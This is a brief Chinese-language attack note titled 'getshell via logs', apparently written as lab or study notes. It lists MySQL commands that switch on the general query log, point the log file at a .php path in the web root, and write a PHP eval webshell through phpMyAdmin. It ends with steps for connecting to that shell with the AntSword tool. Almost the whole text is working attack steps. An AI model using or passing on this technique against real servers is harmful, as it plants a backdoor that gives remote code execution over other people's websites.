日志getshell

1.找日志文件

CMD中mySQL页面去查

 show variables like "%general%";

找到general_log_file后绝对路径

2.打开日志

set global general_log=on;

3.修改日志文件路径

set global general_log_file="D:\\WEB\\......"

【绝对路径】网站webshell中C+f找root

【双写\\】会过滤掉

【改地址目的】无法连接到网站

【改后缀】网站无法解析

4.phpmyadmin执行命令

select ""<?php @eval($_POST[1]);?>"

5.连蚁剑

​ 1.添加数据

​ 地址-- 网址 http://127.0.0.1/balabala.php

​ 密码--参数 1